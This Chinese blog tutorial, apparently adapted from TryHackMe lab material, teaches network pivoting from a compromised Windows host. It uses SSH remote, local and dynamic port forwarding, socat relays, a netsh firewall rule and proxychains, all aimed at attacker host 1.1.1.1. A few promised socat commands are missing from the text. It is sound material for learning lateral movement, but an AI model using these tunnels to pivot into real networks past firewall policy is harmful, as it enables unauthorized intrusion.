ssh,socat端口转发

2023-07-24

ssh隧道

我们将要研究的第一个协议是SSH,因为它已经内置了通过SSH隧道进行端口转发的功能。虽然SSH曾经是与Linux系统相关联的协议,但现在Windows默认安装了OpenSSH客户端,因此您可以期望在许多系统中找到它,而不受其操作系统的限制。

SSH隧道可以以不同的方式用于通过SSH连接转发端口,我们将根据情况使用它。为了解释每种情况,让我们假设一个场景,我们已经控制了PC-1机器(不需要管理员访问权限),并希望将其用作枢纽来访问另一台机器上的端口,而我们无法直接连接到该端口。我们将从PC-1机器开始一个隧道,充当SSH客户端,到攻击者的PC,后者将充当SSH服务器。这样做的原因是您经常会在Windows机器上找到SSH客户端,但大多数情况下不会有可用的SSH服务器。

由于我们将连接回攻击者的机器,因此我们希望在其中创建一个用户而无需访问任何控制台以进行隧道连接,并设置用于创建隧道的密码:

useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser

ssh 远程端口转发

在我们的例子中,假设防火墙策略阻止攻击者的机器直接访问服务器上的端口3389。如果攻击者先前已经入侵了PC-1,并且PC-1可以访问服务器的3389端口,那么可以使用从PC-1进行的远程端口转发来将其枢轴到3389端口。远程端口转发允许您从SSH客户端(在本例中为PC-1)获取可达端口,并将其投影到远程SSH服务器(攻击者的机器)中。

因此,在攻击者的机器上将打开一个端口,可通过SSH隧道连接回服务器上的3389端口。 PC-1将反向代理连接,以便服务器将看到所有流量,就像它是来自PC-1一样。

到这一点可能会出现一个合理的问题,即为什么我们需要端口转发,如果我们已经攻入了 PC-1 并可以直接从那里运行 RDP 会话。答案很简单:在只有控制台访问 PC-1 的情况下,我们将无法使用任何 RDP 客户端,因为我们没有 GUI。通过将端口对攻击者的机器开放,您可以使用 Linux RDP 客户端进行连接。类似的情况也会出现在您想针对无法直接访问的端口运行漏洞利用时,因为您的漏洞利用可能需要特定的脚本语言,这些语言不一定总是在您沿途攻击的机器上可用。

参考上图,要将服务器上的端口 3389 转发回我们的攻击者机器,我们可以在 PC-1 上使用以下命令:

ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N

这将建立从PC-1到1.1.1.1(攻击者PC)的SSH会话,使用tunneluser用户。

由于tunneluser不被允许在攻击者PC上运行shell,我们需要使用-N开关运行ssh命令,以防止客户端请求shell,否则连接将立即退出。 -R开关用于请求远程端口转发,语法要求我们首先指示我们将在SSH服务器上打开的端口(3389),然后是一个冒号,然后是我们将转发的套接字的IP和端口(3.3.3.3:3389)。请注意,端口号不需要匹配,尽管在本例中它们匹配。

命令本身不会输出任何内容,但隧道将依赖于命令运行。每当需要时,我们可以通过按CTRL + C关闭隧道,就像关闭任何其他命令一样。

ssh 本地端口转发

本地端口转发允许我们将 SSH 服务器上的端口“拉”到 SSH 客户端中。在我们的场景中,这可以用于将攻击者机器上的任何服务通过 PC-1 上的端口提供给其他主机。这样,任何无法直接连接到攻击者 PC 的主机都可以通过中继主机访问攻击者的服务。

使用这种类型的端口转发可以让我们从通常无法连接回我们的主机上运行反向 shell,或者让任何我们想要的服务对于没有直接连接到我们的机器的机器可用。

要从攻击者的机器转发端口 80 并使其在 PC-1 上可用,我们可以在 PC-1 上运行以下命令:

ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N

命令结构类似于远程端口转发所使用的结构,但使用-L选项进行本地端口转发。此选项要求我们指示PC-1使用的本地套接字来接收连接( *:80 ),并从攻击者的PC角度连接到的远程套接字( 127.0.0.1:80 )。

请注意,在第二个套接字中使用IP地址127.0.0.1,因为从攻击者的PC角度来看,这是持有要转发的端口80的主机。

由于我们正在PC-1上打开一个新端口,因此可能需要添加防火墙规则以允许传入连接(使用dir=in )。需要管理员权限:

netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80

设置隧道后,任何用户将其浏览器指向http://2.2.2.2:80的PC-1,即可看到攻击者机器发布的网站。

socat端口转发

在SSH不可用的情况下,可以使用socat执行类似的功能。虽然不如SSH灵活,但socat允许您以更简单的方式转发端口。使用socat的一个缺点是我们需要将其传输到枢轴主机(在我们当前的示例中为PC-1),使其比SSH更容易被检测到,但如果没有其他选择,这可能值得一试。

使用socat执行端口转发的基本语法要简单得多。如果我们想在主机上打开端口1234,并将我们收到的任何连接转发到主机1.1.1.1上的端口4321,您将拥有以下命令:

socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321

fork选项允许socat为每个接收到的连接fork一个新进程,使得可以处理多个连接而不关闭。如果不包含它,当第一个连接完成时,socat将关闭。

回到我们的例子,如果我们想要像使用SSH远程端口转发一样使用PC-1作为枢纽来访问服务器上的3389端口,我们可以使用以下命令:

请注意,socat 不能像 SSH 那样将连接直接转发到攻击者的机器,但会在 PC-1 上打开一个端口,然后攻击者的机器可以连接到该端口:

另一方面,如果我们想要从攻击者的机器上公开端口80,以便服务器可以访问它,我们只需要稍微调整命令即可:

socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80

因此,PC-1将生成端口80并监听要转发到攻击者机器上的端口80的连接:

动态端口转发和 SOCKS

单端口转发对于需要访问特定套接字的任务非常有效,但是有时我们可能需要通过一个跳板主机对一个主机的多个端口甚至多个主机的多个端口运行扫描。在这种情况下,动态端口转发允许我们通过使用SOCKS代理通过主机进行跳板,并建立与任何IP地址/端口的多个连接。由于我们不希望在目标网络中的Windows机器上依赖SSH服务器,因此通常会使用SSH客户端使用以下命令建立反向动态端口转发:

ssh tunneluser@1.1.1.1 -R 9050 -N

在这种情况下,SSH服务器将在端口9050上启动SOCKS代理,并将任何连接请求通过SSH隧道转发,最终由SSH客户端代理。

最有趣的部分是,我们可以通过使用proxychains轻松地通过SOCKS代理使用任何工具。为此,我们首先需要确保proxychains已正确配置为将任何连接指向SSH用于SOCKS代理服务器的相同端口。 proxychains配置文件可以在AttackBox的/ etc / proxychains.conf中找到。如果我们向下滚动配置文件的末尾,我们应该看到一行指示socks代理使用的端口:

[ProxyList]
socks4 127.0.0.1 9050

默认端口为9050,但只要与我们建立SSH隧道时使用的端口匹配,任何端口都可以使用。

如果我们现在想通过代理执行任何命令,我们可以使用proxychains:

proxychains curl http://pxeboot.za.tryhackme.com

请注意,像nmap这样的一些软件在某些情况下可能无法很好地与SOCKS配合使用,并可能显示更改后的结果,因此您的里程可能会有所不同。

ssh,socat端口转发的相关教程结束。